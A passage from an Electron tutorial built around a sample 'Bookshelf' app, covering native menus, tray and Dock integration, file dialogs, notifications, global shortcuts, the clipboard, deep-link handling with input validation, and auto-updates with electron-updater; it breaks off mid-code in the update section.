open-file (app, macOS) | User opens an associated file or drops it on the Dock icon | Open the file; may fire before ready, so queue it |
open-url (app, macOS) | A registered custom URL scheme is opened (16.2) | Route the deep link |
browser-window-created, web-contents-created (app) | Any window or page is created | Apply security handlers to every page (16.3) |
render-process-gone (webContents/app) | A renderer crashed, was killed or ran out of memory | Log it, offer to reload (16.3) |
suspend, resume, lock-screen, unlock-screen (powerMonitor) | System sleep or lock | Pause sync, reconnect WebSockets on resume |
shutdown (powerMonitor, Linux and macOS) | OS is shutting down | Save state quickly |
updated (nativeTheme) | User switched light/dark mode | Update UI if not using CSS prefers-color-scheme |
Paths for app data. Lifecycle code often reads and writes state. Use app.getPath() instead of hard-coding locations, because each operating system has its own conventions:
| Name | Windows | macOS | Linux |
|---|---|---|---|
userData | %APPDATA%\Bookshelf | ~/Library/Application Support/Bookshelf | ~/.config/Bookshelf |
logs | %APPDATA%\Bookshelf\logs | ~/Library/Logs/Bookshelf | ~/.config/Bookshelf/logs |
documents, downloads, temp, home | Standard user folders | Standard user folders | Standard user folders |
Key Takeaways
- Create windows, menus and handlers after
app.whenReady(); many APIs are not usable before it. - Quit on
window-all-closedexcept on macOS, and re-create a window onactivate. - For async cleanup in
before-quit, prevent the quit, finish the work, then callapp.quit()again. - Use
requestSingleInstanceLockandsecond-instanceto route new launches, files and links to the running instance. - Use
powerMonitorfor sleep/resume andapp.getPath()for platform-correct data locations.
Practice
- (Beginner) Add the standard
activateandwindow-all-closedhandlers to Bookshelf Desktop and test the difference on macOS and on Windows or Linux (or simulate it by loggingprocess.platform).- (Intermediate) Make Bookshelf a single-instance app. When it is launched a second time with a file path argument (
electron . ./list.json), the existing window should come to the front and open that file.- (Interview) "Your Electron app loses user data when the computer goes to sleep with unsynchronized changes and the network is down on wake. Which lifecycle events would you use to fix it?" Hint: consider
powerMonitorevents, persisting locally before sync, and retrying on resume or when the network returns.
<a id="162-native-integration"></a>
16.2 Native Integration
An app that is only a web page in a window feels like a website. What makes it feel like a desktop application is integration with the operating system. This subchapter covers that integration: native menus, tray and Dock icons, file dialogs, notifications, keyboard shortcuts and the clipboard, custom URL schemes, and automatic updates. Each of these lives in the main process and is reached from the UI through the IPC patterns of 16.1.
Application and Context Menus
Why native menus. Desktop users expect a menu bar with File, Edit and View, keyboard shortcuts listed next to commands, and a right-click menu that matches the operating system's style. They also expect Cut, Copy, Paste and Undo to work in every text field. On macOS this is not optional: without an application menu, even Cmd+C and Cmd+V stop working in text fields. HTML can imitate menus, but only native menus appear in the macOS menu bar, follow accessibility settings and use the system's keyboard handling.
Where menus appear.
macOS Windows / Linux
+--------------------------------------------+ +--------------------------------------+
| Bookshelf File Edit View Window Help | | [icon] Bookshelf _ [] X | <- title bar
+--------------------------------------------+ +--------------------------------------+
^ one global menu bar, at the top of the | File Edit View Help | <- menu bar
screen; first menu is the app menu +--------------------------------------+
(About, Settings..., Quit) | window content |
^ menu bar inside each window
Templates and roles. Menus are built from a template: an array of plain objects. Each item has a label and either a click handler, a role or a submenu. A role is a built-in behavior that Electron implements natively and labels and localizes correctly for each platform: undo, redo, cut, copy, paste, selectAll, reload, toggleDevTools, togglefullscreen, minimize, quit, and whole standard menus such as appMenu, editMenu, viewMenu and windowMenu. Use roles whenever one exists.
Accelerators are keyboard shortcuts written as strings: CmdOrCtrl+O means Cmd+O on macOS and Ctrl+O elsewhere. Others: Shift, Alt (Option on macOS), F5, Plus, Delete.
// main/menu.js
const { app, Menu, shell } = require('electron');
function buildAppMenu(getFocusedWindow) {
const isMac = process.platform === 'darwin';
// Helper: forward a command to the focused window's UI
const sendToUI = (command) => () =>
getFocusedWindow()?.webContents.send('menu:command', command);
const template = [
...(isMac ? [{ role: 'appMenu' }] : []), // macOS: About, Services, Hide, Quit...
{
label: 'File',
submenu: [
{ label: 'New Note', accelerator: 'CmdOrCtrl+N', click: sendToUI('new-note') },
{ label: 'Open Book File...', accelerator: 'CmdOrCtrl+O', click: () => openBookFile() },
{ label: 'Export Reading List...', accelerator: 'CmdOrCtrl+E', click: sendToUI('export') },
{ type: 'separator' },
isMac ? { role: 'close' } : { role: 'quit' },
],
},
{ role: 'editMenu' }, // Undo, Redo, Cut, Copy, Paste, Select All
{
label: 'View',
submenu: [
{ role: 'reload' },
...(app.isPackaged ? [] : [{ role: 'toggleDevTools' }]), // DevTools only in development
{ type: 'separator' },
{ role: 'resetZoom' }, { role: 'zoomIn' }, { role: 'zoomOut' },
{ type: 'separator' },
{ role: 'togglefullscreen' },
],
},
{ role: 'windowMenu' },
{
role: 'help',
submenu: [
{ label: 'Documentation', click: () => shell.openExternal('https://bookshelf.example.com/docs') },
],
},
];
Menu.setApplicationMenu(Menu.buildFromTemplate(template));
}
module.exports = { buildAppMenu };
In the renderer, the preload exposes onMenuCommand(cb) (same pattern as onSyncStatus in 16.1), and the UI reacts to 'new-note' or 'export'.
Dynamic items. Items can be enabled: false, type: 'checkbox' with checked, or type: 'radio'. Give an item an id to find and change it later: Menu.getApplicationMenu().getMenuItemById('export').enabled = books.length > 0. For bigger changes, rebuild the menu from the template with new state.
Context menus. A right-click menu is a Menu shown with menu.popup(). Chromium reports right-clicks through the context-menu event of webContents, with details about what was clicked: selected text, whether the target is editable, link URL, image URL, misspelled word and spelling suggestions.
// main.js: a context menu for every window
const { Menu } = require('electron');
function attachContextMenu(win) {
win.webContents.on('context-menu', (_event, params) => {
const template = [];
// Spellchecker suggestions for a misspelled word in an editable field
for (const suggestion of params.dictionarySuggestions.slice(0, 3)) {
template.push({ label: suggestion, click: () => win.webContents.replaceMisspelling(suggestion) });
}
if (params.misspelledWord) template.push({ type: 'separator' });
if (params.isEditable) template.push({ role: 'cut' }, { role: 'copy' }, { role: 'paste' });
else if (params.selectionText) template.push({ role: 'copy' });
if (params.selectionText) {
template.push({ type: 'separator' }, {
label: `Search books for "${params.selectionText.slice(0, 20)}"`,
click: () => win.webContents.send('menu:command', 'search', params.selectionText),
});
}
if (template.length) Menu.buildFromTemplate(template).popup({ window: win });
});
}
For a context menu that depends on application data (for example "Mark as read" on a specific book card), let the renderer handle contextmenu in the DOM, call event.preventDefault(), and send the book id through IPC. Main then builds and pops up the menu.
Key Takeaways
- Build menus from templates with
Menu.buildFromTemplateand install them withMenu.setApplicationMenu. - Prefer roles (
editMenu,copy,quit...): they are native, localized and correct per platform. - macOS has one global menu bar with an app menu first; without an Edit menu, clipboard shortcuts break.
- Accelerators like
CmdOrCtrl+Omap to the right modifier on each platform. - Context menus come from the
context-menuevent (or renderer IPC) and are shown withmenu.popup().
Practice
- (Beginner) Build the File, Edit, View and Help menus above for Bookshelf Desktop and verify that Copy and Paste work in a text field on your platform.
- (Intermediate) Add a "Mark as read" context menu to book cards: the renderer sends the book id on right-click, main shows a menu with "Mark as read" or "Mark as unread" depending on the book's current state, and the choice is sent back to the UI.
- (Interview) "Why might copy and paste stop working in an Electron app on macOS, and how do you fix it?" Hint: consider what implements those keyboard shortcuts on macOS and what happens when a custom application menu omits certain roles.
System Tray and Dock Integration
Why stay visible without a window. Some apps should keep working when their window is closed: a chat app that receives messages, a sync client, a music player, a clipboard manager. Users still need a way to see their status and reach them. The operating system provides a small, permanent place for this: the system tray (notification area) on Windows, the menu bar extras on macOS and the status area on many Linux desktops. The macOS Dock and the Windows taskbar also accept badges, progress bars and custom menus.
Creating a tray icon.
// main/tray.js
const { app, Tray, Menu, nativeImage } = require('electron');
const path = require('node:path');
let tray = null; // keep a module-level reference: if garbage-collected, the icon disappears
function createTray(showMainWindow) {
// macOS: a file named "...Template.png" is treated as a template image,
// drawn in black or white automatically to match the menu bar
const iconFile = process.platform === 'darwin' ? 'trayTemplate.png' : 'tray.png';
const icon = nativeImage.createFromPath(path.join(__dirname, '..', 'assets', iconFile));
tray = new Tray(icon);
tray.setToolTip('Bookshelf');
tray.setContextMenu(Menu.buildFromTemplate([
{ label: 'Open Bookshelf', click: showMainWindow },
{ label: 'Sync now', click: () => syncNow() },
{ type: 'separator' },
{ label: 'Pause sync', type: 'checkbox', checked: false, click: (item) => setSyncPaused(item.checked) },
{ type: 'separator' },
{ label: 'Quit', click: () => app.quit() },
]));
// Windows convention: left click opens the window (macOS shows the menu on click)
tray.on('click', () => { if (process.platform === 'win32') showMainWindow(); });
return tray;
}
module.exports = { createTray };
Provide icons at 16x16 and 32x32 (tray.png and tray@2x.png; Electron picks the right one for high-DPI screens). On Linux, tray support depends on the desktop environment (GNOME needs an AppIndicator extension), so the tray must never be the only way to reach a feature.
"Close to tray". If the app should keep running when its window is closed, hide the window instead of destroying it, but let a real quit through:
let isQuitting = false;
app.on('before-quit', () => { isQuitting = true; });
mainWindow.on('close', (event) => {
if (!isQuitting) {
event.preventDefault(); // closing the window only hides it
mainWindow.hide();
}
});
Tell users this is happening (a one-time notification "Bookshelf is still running in the tray") and offer a setting to turn it off. An app that silently keeps running after its window closes surprises users.
Dock and taskbar features.
| Feature | API | Platform |
|---|---|---|
| Badge with a count | app.setBadgeCount(3) | macOS, some Linux desktops (Unity launcher) |
| Badge with text | app.dock.setBadge('3') | macOS |
| Overlay icon on the taskbar button | win.setOverlayIcon(image, '3 unread') | Windows |
| Progress bar in the Dock/taskbar | win.setProgressBar(0.4); -1 removes it; 2 shows indeterminate | All (Linux: Unity launcher only) |
| Attract attention | app.dock.bounce('informational') / win.flashFrame(true) | macOS / Windows and Linux |
| Dock menu | app.dock.setMenu(menu) | macOS |
| Jump list tasks | app.setUserTasks([...]), app.setJumpList([...]) | Windows |
| Recent documents | app.addRecentDocument(filePath) | macOS and Windows |
| Hide from Dock (tray-only app) | app.dock.hide() | macOS |
// Show export progress on the taskbar/Dock icon and the unread count as a badge
function reportExportProgress(win, done, total) {
win.setProgressBar(done < total ? done / total : -1); // value between 0 and 1; -1 = remove
}
function setUnreadCount(win, count) {
if (process.platform === 'darwin') {
app.dock.setBadge(count ? String(count) : '');
} else if (process.platform === 'win32') {
win.setOverlayIcon(count ? badgeImage(count) : null, count ? `${count} new books` : '');
} else {
app.setBadgeCount(count); // may be ignored by the desktop environment
}
}
Key Takeaways
Trayputs a permanent icon with a menu in the notification area; keep a reference so it is not garbage-collected.- Use template images on macOS and provide 1x/2x icons; Linux tray support varies by desktop.
- "Close to tray" means hiding the window in
closewhile letting a real quit through viabefore-quit. - Badges, progress bars, jump lists and Dock menus are platform-specific; check
process.platform. - Never make the tray the only route to a feature, and make background behavior visible and configurable.
Practice
- (Beginner) Add a tray icon to Bookshelf Desktop with "Open", "Sync now" and "Quit" items, and make "Open" restore a hidden window.
- (Intermediate) Implement close-to-tray with a setting stored in
userData. Show the unread-book count as a Dock badge on macOS and as an overlay icon on Windows, and a taskbar progress bar while an export runs.- (Interview) "A user reports that your app's tray icon disappears after a few minutes. What is the most likely cause?" Hint: think about JavaScript object lifetimes and what keeps a native resource alive.
Native Dialogs and File System Access
Why native dialogs. A browser can let the user pick a file with <input type="file">, but it cannot let the page save to a chosen path, open a folder, or remember a file for later. A desktop app is expected to have Open and Save As dialogs that look like the operating system's, remember recent folders and respect sandboxing rules. In Electron, the dialog module shows these native dialogs, and Node.js fs (11.5) does the actual reading and writing, both in the main process.
Dialog types.
| Method | Returns | Use |
|---|---|---|
dialog.showOpenDialog(win, options) | { canceled, filePaths } | Choose one or more files or folders |
dialog.showSaveDialog(win, options) | { canceled, filePath } | Choose where to save |
dialog.showMessageBox(win, options) | { response, checkboxChecked } | Questions, confirmations, warnings |
dialog.showErrorBox(title, content) | nothing | Fatal errors; works even before ready |
Passing the window as the first argument makes the dialog modal to that window (a sheet attached to the window on macOS). The ...Sync variants exist but block the main process; prefer the Promise-based ones.
Opening and saving files, safely.
// main/files.js
const { ipcMain, dialog, BrowserWindow, app } = require('electron');
const fs = require('node:fs/promises');
const path = require('node:path');
const MAX_SIZE = 5 * 1024 * 1024; // refuse files larger than 5 MB
ipcMain.handle('books:open-file', async (event) => {
const win = BrowserWindow.fromWebContents(event.sender);
const { canceled, filePaths } = await dialog.showOpenDialog(win, {
title: 'Import Reading List',
defaultPath: app.getPath('documents'),
properties: ['openFile'], // also: 'openDirectory', 'multiSelections', 'showHiddenFiles'
filters: [
{ name: 'Reading lists', extensions: ['json', 'csv'] },
{ name: 'All files', extensions: ['*'] },
],
});
if (canceled || filePaths.length === 0) return null;
const filePath = filePaths[0]; // chosen by the USER, not by the page
const { size } = await fs.stat(filePath);
if (size > MAX_SIZE) return { error: 'File is too large' };
const content = await fs.readFile(filePath, 'utf8');
app.addRecentDocument(filePath); // appears in the OS "recent" lists
return { name: path.basename(filePath), content };
});
ipcMain.handle('notes:confirm-delete', async (event, title) => {
const { response } = await dialog.showMessageBox(BrowserWindow.fromWebContents(event.sender), {
type: 'warning',
buttons: ['Cancel', 'Delete'],
defaultId: 0, // Enter = Cancel: the safe choice
cancelId: 0, // Esc = Cancel
message: `Delete the note "${String(title).slice(0, 80)}"?`,
detail: 'This cannot be undone.',
});
return response === 1;
});
The important design point: the user chooses the path in a dialog shown by main, and the page only receives the result. Compare an IPC handler fs:read(path) that reads any path the page asks for: one XSS bug and the attacker reads the user's SSH keys.
Where to store application data. Files the user chooses go where the user chose. The app's own data (settings, caches, a local database, offline copies of books) goes under app.getPath('userData'), never next to the executable, which is read-only after installation on macOS and often on Windows.
const settingsFile = path.join(app.getPath('userData'), 'settings.json');
async function saveSettings(settings) {
const tmp = `${settingsFile}.tmp`;
await fs.writeFile(tmp, JSON.stringify(settings, null, 2));
await fs.rename(tmp, settingsFile); // atomic replace: no half-written file after a crash
}
For larger structured data, use a local database such as SQLite (better-sqlite3 is a native module, see 16.3) or IndexedDB in the renderer. For secrets such as an API token, use safeStorage.encryptString(), which encrypts with the operating system's key store (Keychain on macOS, DPAPI on Windows, the Secret Service or KWallet on Linux).
Drag and drop. Users expect to drop files onto the window. The renderer receives File objects through standard DOM drag events, and the preload can turn one into a real file system path with webUtils.getPathForFile(file) (the old non-standard file.path property was removed). The path is sent to main, which validates it before reading.
// preload.js
const { contextBridge, ipcRenderer, webUtils } = require('electron');
contextBridge.exposeInMainWorld('bookshelf', {
importDroppedFile: (file) => ipcRenderer.invoke('books:import-path', webUtils.getPathForFile(file)),
});
// renderer
dropZone.addEventListener('drop', (e) => {
e.preventDefault();
for (const file of e.dataTransfer.files) window.bookshelf.importDroppedFile(file);
});
Main should still check that the dropped path has an allowed extension and size, because the renderer could send any string.
The shell module. For actions handed to the operating system: shell.showItemInFolder(p) reveals a file in Explorer or Finder, shell.openPath(p) opens it with its default app, shell.trashItem(p) moves it to the trash (safer than deleting), and shell.openExternal(url) opens a URL in the user's browser. Validate URLs before openExternal (16.3).
Key Takeaways
- Use
dialog.showOpenDialog,showSaveDialogandshowMessageBoxin main, modal to the requesting window. - Let the user choose paths in dialogs shown by main; never expose "read or write any path" to the renderer.
- Store app data under
app.getPath('userData'), write atomically, and protect secrets withsafeStorage. - For drag and drop, use
webUtils.getPathForFilein the preload and validate the path in main. - Use
shellto reveal, open or trash files and to open external URLs (after validation).
Practice
- (Beginner) Implement "Export Reading List" with a Save dialog that defaults to
reading-list.jsonin the Documents folder, and a "Show in folder" button that callsshell.showItemInFolderafter saving.- (Intermediate) Store the bookshelf API token with
safeStorageinuserData, and add a confirmation dialog before logging out. Verify that the stored file does not contain the token in plain text.- (Interview) "Why is an IPC handler
readFile(path)dangerous, and how would you design file access instead?" Hint: consider who controls the argument if the renderer is compromised, and how user-driven dialogs or an allow-list of directories change that.
Desktop Notifications
Why notifications. A desktop app often has news while the user is looking at something else: a sync finished, a book came back from loan, a reminder is due. Notifications are the operating system's standard way to report this. They appear in the corner of the screen, are collected in the notification center, respect Do Not Disturb and Focus modes, and bring the user back to the app with a click.
Two APIs. Electron offers two ways to show a notification, and both end up as native OS notifications:
| API | Process | Notes |
|---|---|---|
Web Notification API: new Notification(title, { body }) | Renderer | Same as in browsers (6.4); no permission prompt in Electron by default (you can control it with a permission handler) |
Electron Notification class | Main | More options: silent, urgency (Linux), timeoutType, actions and hasReply (macOS), toastXml (Windows), close events |
Use the main-process API when the notification is triggered by background work (sync, timers, the tray) that does not belong to any window, or when you need platform features.
// main/notify.js
const { Notification, app } = require('electron');
const path = require('node:path');
function notifyBookReturned(book, showBook) {
if (!Notification.isSupported()) return; // e.g. some minimal Linux setups
const n = new Notification({
title: 'Book available',
body: `"${book.title}" is back on the shelf.`,
icon: path.join(__dirname, '..', 'assets', 'icon.png'), // Windows/Linux; macOS uses the app icon
silent: false,
actions: [{ type: 'button', text: 'Borrow' }], // macOS only; ignored elsewhere
});
n.on('click', () => showBook(book.id)); // user clicked the notification body
n.on('action', (_e, index) => { if (index === 0) borrowBook(book.id); });
n.show();
}
Platform requirements.
- Windows shows notifications as "toasts" attributed to an AppUserModelID. Call
app.setAppUserModelId('com.example.bookshelf')early, with the same ID as the installer's Start menu shortcut. Installers made with electron-builder or Squirrel create this shortcut. During development, notifications may appear under "electron.app.Electron". - macOS attributes notifications to the signed app bundle. Users control them per app in System Settings > Notifications, and an unsigned development build may behave differently from the released app.
- Linux uses the freedesktop notification specification through D-Bus (libnotify). Features such as actions and images depend on the notification daemon.
Designing good notifications. The OS gives users an easy way to silence an app permanently, so treat notifications as limited:
- Notify about events the user cares about and cannot see, not about things happening in the focused window (check
BrowserWindow.getFocusedWindow()). - Group or summarize: "5 books synced" instead of five notifications.
- Make every notification actionable: clicking should open the relevant view.
- Offer in-app settings per category (reminders, sync results, availability).
- Never put sensitive data in notification text: it can appear on a locked screen.
Key Takeaways
- Notifications can come from the renderer (Web Notification API) or main (Electron
Notification, with more options). - Both become native OS notifications that respect Do Not Disturb and per-app settings.
- On Windows, set an AppUserModelID that matches the installed shortcut; on macOS, behavior depends on the signed bundle.
- Handle
click(andactionon macOS) to route the user to the relevant content. - Notify rarely, group events, avoid notifying about the focused window and avoid sensitive content.
Practice
- (Beginner) Show a notification from the renderer with the Web Notification API and one from main with the
Notificationclass, and compare how they appear on your OS.- (Intermediate) Add a reminder feature: the user sets "remind me to finish this book on Friday", main schedules it, shows a notification at the right time (even if the window is closed to the tray) and opens the book when it is clicked. Persist reminders across restarts.
- (Interview) "Your Electron app's notifications work in development but not after installation on Windows. What would you check?" Hint: think about how Windows associates toasts with an application identity and installed shortcut.
Global Shortcuts and Clipboard
Why system-wide keys. Normal keyboard shortcuts (menu accelerators, keydown listeners) work only while your window has focus. Some apps should react to keys from anywhere: a quick-capture window ("save this quote to my reading notes"), a launcher, push-to-talk in a voice app, media keys in a player. The clipboard is the other channel apps share with each other: the user copies in one app and pastes in another.
Three kinds of shortcuts.
| Kind | Mechanism | Active when |
|---|---|---|
| In-page | keydown listeners in the renderer | The page has focus |
| Application (local) | Menu item accelerator, or webContents before-input-event | One of the app's windows has focus |
| Global | globalShortcut.register() in main | Always, even when another app is focused |
Prefer the narrowest kind that does the job. Global shortcuts are a shared, limited resource: two apps cannot both own Ctrl+Shift+N, and taking a combination another app relies on annoys users.
Registering a global shortcut.
// main.js
const { app, globalShortcut } = require('electron');
app.whenReady().then(() => {
const accelerator = settings.quickCaptureShortcut ?? 'CommandOrControl+Shift+B';
const ok = globalShortcut.register(accelerator, () => {
showQuickCaptureWindow(); // a small always-on-top window for a note
});
if (!ok) {
// Already taken by another app or the OS: tell the user and let them choose another
console.warn(`Global shortcut ${accelerator} is unavailable`);
}
});
app.on('will-quit', () => {
globalShortcut.unregisterAll(); // release the keys for other applications
});
Notes:
- Registration only works after
ready, andregisterreturnsfalseif the combination is unavailable. - Make the shortcut configurable and off by default unless it is the app's core feature.
- On macOS, some global key handling requires the user to grant accessibility permission; on Linux under Wayland, global shortcuts depend on compositor and desktop portal support and may not work everywhere.
Clipboard basics. The system clipboard can hold the same content in several formats at once: plain text, HTML, RTF, images and app-specific formats. A paste target picks the richest format it understands. Copying a book citation as both HTML (with italics) and plain text lets a word processor keep the formatting while a terminal gets plain text.
In the renderer, use the standard asynchronous Clipboard API (navigator.clipboard.writeText, readText, write with ClipboardItem), as on the web. In the main process (for example from a tray menu or a global shortcut, where there is no focused page), use Electron's clipboard module:
// main.js
const { clipboard, nativeImage } = require('electron');
function copyCitation(book) {
const text = `${book.author}, ${book.title} (${book.year})`;
clipboard.write({
text, // for plain-text targets
html: `${escapeHtml(book.author)}, <i>${escapeHtml(book.title)}</i> (${book.year})`, // for rich targets
});
}
function captureFromClipboard() {
const formats = clipboard.availableFormats(); // e.g. ['text/plain', 'text/html']
if (formats.includes('text/plain')) return { kind: 'text', value: clipboard.readText() };
const image = clipboard.readImage(); // a NativeImage; empty if no image
if (!image.isEmpty()) return { kind: 'image', png: image.toPNG() };
return null;
}
// Linux has a second clipboard: the "selection" (text highlighted with the mouse)
const selected = process.platform === 'linux' ? clipboard.readText('selection') : '';
Putting them together: quick capture. Pressing Ctrl+Shift+B anywhere reads the clipboard and saves it as a note:
globalShortcut.register('CommandOrControl+Shift+B', async () => {
const item = captureFromClipboard();
if (!item || item.kind !== 'text') return;
await notes.add({ text: item.value.slice(0, 10_000), createdAt: Date.now() }); // limit size
new Notification({ title: 'Saved to Bookshelf', body: item.value.slice(0, 80) }).show();
});
Privacy. The clipboard often contains passwords and personal data. Read it only in response to a clear user action (a shortcut or a Paste command), never poll it in the background, and do not send its content anywhere without the user's consent.
Key Takeaways
- In-page and menu shortcuts need focus;
globalShortcutworks system-wide but competes with other apps. - Register global shortcuts after
ready, check the boolean result, make them configurable and unregister them onwill-quit. - Renderer code should use
navigator.clipboard; main uses Electron'sclipboardmodule. - Write several formats (
textandhtml) so each paste target gets the best one. - Treat clipboard content as private and untrusted: read it only on user action and limit its size.
Practice
- (Beginner) Add a "Copy citation" button to each book card that copies a plain-text citation with
navigator.clipboard.writeText.- (Intermediate) Implement the quick-capture global shortcut with a settings field where the user records a new combination. Handle the case where registration fails and restore the previous shortcut.
- (Interview) "When should a desktop app register a global keyboard shortcut, and what problems can it cause?" Hint: consider conflicts with other apps and the OS, accessibility, user expectations, platform permissions and Wayland.
Protocol Handlers and Deep Linking
Why custom URLs. Links connect the web. A desktop app can join in by registering a custom URL scheme such as bookshelf://. A link bookshelf://book/42 on the bookshelf website, in an email or in another app then opens the desktop app directly on book 42. This is deep linking. Common uses: "Open in desktop app" buttons, single sign-on (the browser finishes login and redirects to bookshelf://auth/callback?code=...), and links shared between users. A related feature, file associations, makes the app open .bookshelf files on double-click.
Electron uses the word "protocol" for two different things:
| Feature | API | Direction |
|---|---|---|
Deep links: the OS opens your app for bookshelf:// URLs | app.setAsDefaultProtocolClient, open-url, second-instance | Outside world -> your app |
Custom schemes for loading your app's own content (app://bookshelf/index.html) | protocol.handle | Your renderer -> your main process |
Registering the scheme. At runtime, app.setAsDefaultProtocolClient('bookshelf') registers the app with the operating system. For installed apps, the scheme should also be declared in the package configuration so that the installer registers it (16.3): CFBundleURLTypes in Info.plist on macOS, registry keys on Windows, a MimeType=x-scheme-handler/bookshelf line in the .desktop file on Linux. electron-builder generates all three from one protocols entry.
Receiving the link differs per platform.
User clicks bookshelf://book/42
|
+-- macOS --------> the running app (or a newly launched one) receives
| app 'open-url' event (event, url)
|
+-- Windows/Linux -> the OS starts a NEW process: electron.exe bookshelf://book/42
- app not running: URL is in process.argv of this process
- app running: single-instance lock makes the new process
quit; the first one gets 'second-instance'
with the URL in its argv
// main.js: deep-link handling for all platforms
const { app } = require('electron');
const path = require('node:path');
const SCHEME = 'bookshelf';
// Development: Electron is started as "electron path/to/app", so pass the app path explicitly
if (process.defaultApp && process.argv.length >= 2) {
app.setAsDefaultProtocolClient(SCHEME, process.execPath, [path.resolve(process.argv[1])]);
} else {
app.setAsDefaultProtocolClient(SCHEME);
}
let pendingUrl = null; // a link that arrives before the window exists
// macOS
app.on('open-url', (event, url) => {
event.preventDefault();
mainWindow ? handleDeepLink(url) : (pendingUrl = url);
});
// Windows and Linux
const findLink = (argv) => argv.find((arg) => arg.startsWith(`${SCHEME}://`));
if (!app.requestSingleInstanceLock()) {
app.quit();
} else {
app.on('second-instance', (_event, argv) => {
const url = findLink(argv);
if (url) handleDeepLink(url);
mainWindow?.show();
mainWindow?.focus();
});
app.whenReady().then(() => {
mainWindow = createMainWindow();
const url = pendingUrl ?? findLink(process.argv); // link that launched the app
if (url) mainWindow.webContents.once('did-finish-load', () => handleDeepLink(url));
});
}
Parse and validate every link. A deep link is input from anywhere: any web page can contain bookshelf://... and trigger your app with one click. Treat it like an HTTP request from an anonymous user.
// main/deeplink.js
function handleDeepLink(raw) {
let url;
try { url = new URL(raw); } catch { return; } // malformed: ignore
if (url.protocol !== 'bookshelf:') return;
// bookshelf://book/42 -> host 'book', pathname '/42'
switch (url.host) {
case 'book': {
const id = Number(url.pathname.slice(1));
if (Number.isInteger(id) && id > 0) mainWindow.webContents.send('nav:book', id);
break;
}
case 'auth': {
const code = url.searchParams.get('code');
const state = url.searchParams.get('state');
if (url.pathname === '/callback' && code && state === expectedOAuthState) {
completeLogin(code); // PKCE + state check (10.3)
}
break;
}
default:
// Unknown routes are ignored. Never: shell.openExternal(url.searchParams.get('target')),
// never pass link content to a shell command, never load it into a BrowserWindow.
}
}
Real vulnerabilities have come from deep-link handlers that passed URL parameters to command-line arguments, loaded them into windows with privileges, or opened arbitrary files. Use an allow-list of routes, validate every parameter, and never perform destructive actions without asking the user to confirm.
Serving your own content with a custom scheme. Loading the UI from file:// gives every page broad file-system read semantics and an unusual origin (null). The recommended alternative is a privileged custom scheme that serves only your bundled files:
// main.js
const { protocol, net } = require('electron');
const { pathToFileURL } = require('node:url');
protocol.registerSchemesAsPrivileged([ // must run before 'ready'
{ scheme: 'app', privileges: { standard: true, secure: true, supportFetchAPI: true } },
]);
app.whenReady().then(() => {
const root = path.join(__dirname, 'renderer');
protocol.handle('app', (request) => {
const { pathname } = new URL(request.url); // app://bookshelf/index.html
const filePath = path.normalize(path.join(root, decodeURIComponent(pathname)));
if (!filePath.startsWith(root + path.sep)) { // block ../ path traversal
return new Response('Forbidden', { status: 403 });
}
return net.fetch(pathToFileURL(filePath).toString());
});
mainWindow.loadURL('app://bookshelf/index.html'); // origin is now app://bookshelf
});
Key Takeaways
- A custom scheme (
bookshelf://) lets links on the web and in other apps open your app on specific content. - Register with
setAsDefaultProtocolClientand in the installer configuration (Info.plist, registry,.desktopfile). - macOS delivers links through
open-url; Windows and Linux start a new process, so combineprocess.argvwith the single-instance lock andsecond-instance. - Deep links are untrusted input from any website: parse with
URL, allow-list routes and validate every parameter. protocol.handleserves your own content from a custom origin; guard it against path traversal.
Practice
- (Beginner) Register
bookshelf://in development and openbookshelf://book/7from a browser's address bar. Log the URL that reaches the main process on your platform.- (Intermediate) Implement
bookshelf://book/:idandbookshelf://search?q=...routes, including the case where the app is not yet running. Write five malicious or malformed links and show that each is ignored.- (Interview) "Why is a custom URL scheme handler a security-sensitive part of a desktop app?" Hint: consider who can trigger it, with how little user interaction, and what the handler might do with the parameters.
Auto-Update Mechanisms
Why updates must be automatic. A web app is updated for everyone the moment you deploy. A desktop app is installed: whatever version the user downloaded stays on their machine until something replaces it. Electron makes this more pressing, because each app ships its own Chromium. A user who never updates keeps every browser vulnerability that has been fixed since, in an app that has access to the file system. Users rarely check for updates by hand, so the app must update itself: check for a new version, download it in the background, verify it and install it with minimal disruption.
How it works.
Bookshelf 1.4.0 (installed) Update server / GitHub Releases / S3
---------------------------- ------------------------------------
1. on start and every few hours:
GET latest.yml (or the update feed) ---------> latest version: 1.5.0, file, sha512, size
2. 1.5.0 > 1.4.0 ? yes
3. download installer/package in background <---- Bookshelf-1.5.0.exe / .zip / .AppImage
(differential: only changed blocks, if supported)
4. verify checksum and code signature
5. tell the user "Restart to update" (or install on next quit)
6. quitAndInstall(): app quits, updater replaces files, app restarts as 1.5.0
The options.
| Option | Platforms and formats | Server | Notes |
|---|---|---|---|
Electron's built-in autoUpdater | macOS (Squirrel.Mac, zip), Windows (Squirrel.Windows) | A feed URL you provide | Low-level; no Linux support |
update-electron-app + update.electronjs.org | macOS, Windows | Free service for public GitHub repositories | One line of code; open-source apps on GitHub only |
electron-updater (from electron-builder) | Windows (NSIS), macOS (dmg + zip), Linux (AppImage, deb, rpm) | GitHub Releases, S3, generic HTTPS server, others | Most widely used; staged rollouts, differential downloads, channels |
| Store updates | Microsoft Store, Mac App Store, Snap Store, Flathub | The store | The store handles updates; in-app updaters must be disabled |
electron-updater in practice. It reads a small metadata file (latest.yml, latest-mac.yml, latest-linux.yml) that electron-builder generates and publishes next to the installers:
# latest.yml (generated; published with the release)
version: 1.5.0
files:
- url: Bookshelf-Setup-1.5.0.exe
sha512: 3q2+7w... # verified after download
size: 98340211
path: Bookshelf-Setup-1.5.0.exe
releaseDate: '2026-09-28T10:12:00.000Z'
stagingPercentage: 20 # optional: roll out to 20% of users first
// main/updater.js
const { app, dialog, BrowserWindow } = require('electron');
const { autoUpdater } = require('electron-updater');
const log = require('electron-log');
autoUpdater.logger = log; // write updater activity to the log file
autoUpdater.autoDownload = true; // download in the background when found
autoUpdater.autoInstallOnAppQuit = true; // if the user ignores the prompt, install on next quit
function initUpdater() {
if (!app.isPackaged) return; // no updates in development
autoUpdater.on('update-available', (info) => log.info('Update available', info.version));
autoUpdater.on('download-progress', (p) =>
BrowserWindow.getAllWindows()[0]?.setProgressBar(p.percent / 100));
autoUpdater.on('error', (err) => log.error('Update failed', err)); // never crash on update errors
autoUpdater.on('update-downloaded', async (info) => {
BrowserWindow.getAllWindows()[0]?.setProgressBar(-1);
const { response } = await dialog.showMessageBox({
type: 'info',
buttons: ['Restart now', 'Later'],
defaultId: 0,
cancelId: 1,
message: `Bookshelf ${info.version} is ready to install.`,
detail: 'The update will be installed automatically the next time you quit.',
});
if (response === 0) autoUpdater.quitAndInstall(); // quits, installs, relaunches
